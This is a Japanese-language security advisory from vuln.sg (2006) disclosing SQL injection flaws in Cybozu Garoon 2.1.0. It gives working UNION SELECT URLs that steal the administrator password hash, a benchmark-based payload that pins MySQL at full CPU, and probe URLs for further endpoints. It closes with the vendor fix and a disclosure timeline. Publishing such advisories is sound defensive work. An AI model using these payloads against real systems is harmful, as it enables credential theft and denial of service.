vuln.sg  

vuln.sg Vulnerability Research Advisory

Cybozu Garoon 2 SQL インジェクションの脆弱性

by Tan Chew Keong タン チュー ケオン
Release Date: 2006-08-28

   [en] [jp]

概要

Cybozu Garoon 2 に SQL インジェクションの脆弱性が存在します。悪意のあるユーザは、この脆弱性を利用しデータベースのデータを盗難したり、MySQLサーバーをDoS 攻撃が行なわれる可能性があります。


問題を確認したバージョン

Cybozu Garoon 2 Version 2.1.0 Windows 版


問題

この脆弱性報告は、Cybozu Garoon 2 SQL インジェクションの脆弱性を公開しました。

1) 「TODO リストの詳細」 と 「TODO リストの変更」 のSQLインジェクションの脆弱性

Cybozu Garoon 2 の "/todo/view" と "/todo/modify" は、"tid" パラメータ処理が不十分であるため、SQL インジェクションの脆弱性が存在します。 悪意のあるユーザは、この脆弱性を利用しデータベースのデータを盗難のことができます。

たとえば、Normal ユーザログオンで、


テスト前に注意 (a) - この脆弱性をテスト前に、, ユーザをログオンして、TODO リストのリンクをクリックして下さい。

テスト前に注意 (b) - 例 2をテスト前に、TODO リストに1つcategoryが必要です。 (cid = 1)


例 1:

「TODO リストの詳細」 SQLインジェクションの脆弱性を利用し管理者のパスワードハッシュを盗難します。

http://192.168.1.64/scripts/cbgrn/grn.exe/todo/view?tid=9999999)+union+select+1,null,col_foreign_key,
col_password,2,null,0,null,null,null,null+from+tab_cb_user+where+_id=1/*
&cid=

例 2:

「TODO リストの変更」 SQLインジェクションの脆弱性を利用し管理者のパスワードハッシュを盗難します。

http://192.168.1.64/scripts/cbgrn/grn.exe/todo/modify?tid=9999999)+union+select+1,null,col_foreign_key,
col_password,1,null,0,null,null,null,null+from+tab_cb_user+where+_id=1/*
&cid=

オリジナルの Query:

SELECT tab_grn_todo_entity._id,tab_grn_todo_entity.col_user,tab_grn_todo_entity.col_title,tab_grn_todo_entity.col_memo,
tab_grn_todo_entity.col_category,tab_grn_todo_entity.col_expiration,tab_grn_todo_entity.col_limited,
tab_grn_todo_entity.col_finish,tab_grn_todo_entity.col_priority,tab_grn_todo_entity.col_ctime,
tab_grn_todo_entity.col_mtime FROM tab_grn_todo_entity WHERE (_id = 9999999 AND col_user = 2) LIMIT 0, 18446744073709551615 LOCK IN SHARE MODE

悪意の Query:

SELECT tab_grn_todo_entity._id,tab_grn_todo_entity.col_user,tab_grn_todo_entity.col_title,tab_grn_todo_entity.col_memo,
tab_grn_todo_entity.col_category,tab_grn_todo_entity.col_expiration,tab_grn_todo_entity.col_limited,
tab_grn_todo_entity.col_finish,tab_grn_todo_entity.col_priority,tab_grn_todo_entity.col_ctime,
tab_grn_todo_entity.col_mtime FROM tab_grn_todo_entity WHERE (_id = 9999999) union select 1,null,col_foreign_key,col_password,2,null,0,null,null,null,null from tab_cb_user where _id=1/* AND col_user = 2) LIMIT 0, 18446744073709551615 LOCK IN SHARE MODE

 

2) 「ワークフロー申請内容の詳細」 と 「ワークフローの 印刷用画面」のSQLインジェクションの脆弱性

Cybozu Garoon 2 の "/workflow/view" と "/workflow/print" は、"pid" パラメータ処理が不十分であるため、SQL インジェクションの脆弱性が存在します。 悪意のあるユーザは、この脆弱性を利用しデータベースのデータを盗難のことができます。


例 1:

「ワークフロー申請内容の詳細」 SQLインジェクションの脆弱性を利用し管理者のパスワードハッシュを盗難します。

http://192.168.1.64/scripts/cbgrn/grn.exe/workflow/view?fid=9&pid=8888888+union+select+1,2,3,4,5,6,7,8,9,10,
11,12,col_foreign_key,14,col_password,16,17,18,19,20,21,22+from+tab_cb_user where _id=1/*

オリジナルの Query:

SELECT col_name,col_petition_number,col_user,col_user_name,col_user_foreign_key,col_status,col_form,
col_form_name,col_icon_type,col_icon_id,col_icon_url,col_transactor,col_transactor_name,col_transactor_foreign_key,
col_comment,col_ptime,col_reapply,col_creator,col_creator_name,col_creator_foreign_key,col_ctime,_id FROM tab_grn_workflow_petition WHERE _id = 8888888 LIMIT 0, 1 LOCK IN SHARE MODE

悪意の Query:

SELECT col_name,col_petition_number,col_user,col_user_name,col_user_foreign_key,col_status,col_form,
col_form_name,col_icon_type,col_icon_id,col_icon_url,col_transactor,col_transactor_name,col_transactor_foreign_key,
col_comment,col_ptime,col_reapply,col_creator,col_creator_name,col_creator_foreign_key,col_ctime,_id FROM tab_grn_workflow_petition WHERE _id = 8888888 union select 1,2,3,4,5,6,7,8,9,10,11,12,col_foreign_key,
14,col_password,16,17,18,19,20,21,22 from tab_cb_user where _id=1/*
LIMIT 0, 1 LOCK IN SHARE MODE



例 2:

「ワークフローの印刷用画面」 SQLインジェクションの脆弱性を利用し管理者のパスワードハッシュを盗難します。

http://192.168.1.64/scripts/cbgrn/grn.exe/workflow/print?fid=9&pid=7777777+union+select+col_password,
2,3,4,col_foreign_key,6,7,8,9,10,11,12,13,14,15,16,17,18+from+tab_cb_user where _id=1/*

注意: 例2をテスト前に、fid=9 あることが必要です。

オリジナルの Query:

SELECT col_name,col_petition_number,col_user,col_status,col_form_name,col_icon_type,col_icon_id,col_icon_url,
col_transactor,col_transactor_name,col_transactor_foreign_key,col_ptime,col_reapply,col_creator,
col_creator_name,col_creator_foreign_key,col_ctime,_id FROM tab_grn_workflow_petition WHERE _id = 7777777 LIMIT 0, 1 LOCK IN SHARE MODE

悪意の Query:

SELECT col_name,col_petition_number,col_user,col_status,col_form_name,col_icon_type,col_icon_id,col_icon_url,
col_transactor,col_transactor_name,col_transactor_foreign_key,col_ptime,col_reapply,col_creator,
col_creator_name,col_creator_foreign_key,col_ctime,_id FROM tab_grn_workflow_petition WHERE _id = 7777777
union select col_password,2,3,4,col_foreign_key,6,7,8,9,10,11,12,13,14,15,16,17,18 from tab_cb_user where _id=1/*
LIMIT 0, 1 LOCK IN SHARE MODE

 

3) 他のSQLインジェクションの脆弱性

Cybozu Garoon 2 に、他のSQLインジェクションの脆弱性もあります。 この脆弱性は、MySQLサーバーをDoS 攻撃が行なわれる可能性があります。悪意のある SQL queryで MySQL が100% のCPU を使うことができます。


SQLインジェクションの脆弱性の例:

http://192.168.1.64/scripts/cbgrn/grn.exe/todo/index?cid=[SQL]
http://192.168.1.64/scripts/cbgrn/grn.exe/todo/delete?tid=[SQL]
http://192.168.1.64/scripts/cbgrn/grn.exe/schedule/user_view?uid=1[SQL]
http://192.168.1.64/scripts/cbgrn/grn.exe/phonemessage/add?gid=1&uid=1[SQL]
http://192.168.1.64/scripts/cbgrn/grn.exe/phonemessage/history?gid=1&uid=1[SQL]
http://192.168.1.64/scripts/cbgrn/grn.exe/memo/view?iid=1[SQL]&did=
http://192.168.1.64/scripts/cbgrn/grn.exe/memo/print?iid=1[SQL]&did=
http://192.168.1.64/scripts/cbgrn/grn.exe/schedule/view?event=1[SQL]
http://192.168.1.64/scripts/cbgrn/grn.exe/schedule/view?event=1&uid=1[SQL]


SQLインジェクションの脆弱性のテスト:

http://192.168.1.64/scripts/cbgrn/grn.exe/todo/index?cid='
http://192.168.1.64/scripts/cbgrn/grn.exe/todo/delete?tid='
http://192.168.1.64/scripts/cbgrn/grn.exe/schedule/user_view?uid=1'
http://192.168.1.64/scripts/cbgrn/grn.exe/phonemessage/add?gid=1&uid=1'
http://192.168.1.64/scripts/cbgrn/grn.exe/phonemessage/history?gid=1&uid=1'
http://192.168.1.64/scripts/cbgrn/grn.exe/memo/view?iid=1'&did=
http://192.168.1.64/scripts/cbgrn/grn.exe/memo/print?iid=1'&did=
http://192.168.1.64/scripts/cbgrn/grn.exe/schedule/view?event=1'
http://192.168.1.64/scripts/cbgrn/grn.exe/schedule/view?event=1&uid=1'


SQLインジェクションの脆弱性の悪用の例:

http://192.168.1.64/scripts/cbgrn/grn.exe/todo/index?cid=9999999)+ORDER+BY+_id,
rand(benchmark(1000000000000,sha1(123456781234567812345678)))/*

オリジナルの Query:

SELECT tab_grn_todo_categoryentity._id,tab_grn_todo_categoryentity.col_user,tab_grn_todo_categoryentity.col_title,
tab_grn_todo_categoryentity.col_list_index,tab_grn_todo_categoryentity.col_ctime,
tab_grn_todo_categoryentity.col_mtime FROM tab_grn_todo_categoryentity WHERE (_id = 9999999 and AND col_user = 2) LIMIT 0, 18446744073709551615 LOCK IN SHARE MODE

悪意の Query:

MySQLサーバーに、このqueryを実行するので、100% のCPU を使用になりました。

SELECT tab_grn_todo_categoryentity._id,tab_grn_todo_categoryentity.col_user,tab_grn_todo_categoryentity.col_title,
tab_grn_todo_categoryentity.col_list_index,tab_grn_todo_categoryentity.col_ctime,
tab_grn_todo_categoryentity.col_mtime FROM tab_grn_todo_categoryentity WHERE (_id = 9999999) ORDER BY _id,rand(benchmark(1000000000000,sha1(123456781234567812345678)))/* AND col_user = 2) LIMIT 0, 18446744073709551615 LOCK IN SHARE MODE

 


対策

Version 2.1.1 へのバージョンアップをしてください。修正版のダウンロード


参考情報

http://cybozu.co.jp/products/dl/notice_060825/


発見と報告の経緯

2006年07月04日 - 脆弱性の発見。
2006年07月13日 - ベンダーに報告しました。
2006年08月25日 - ベンダーは修正版をリリースしました。
2006年08月28日 - 本脆弱性の公開。
2006年08月31日 - Corrected spelling error in product name.


Contact
For further enquries, comments, suggestions or bug reports, simply email them to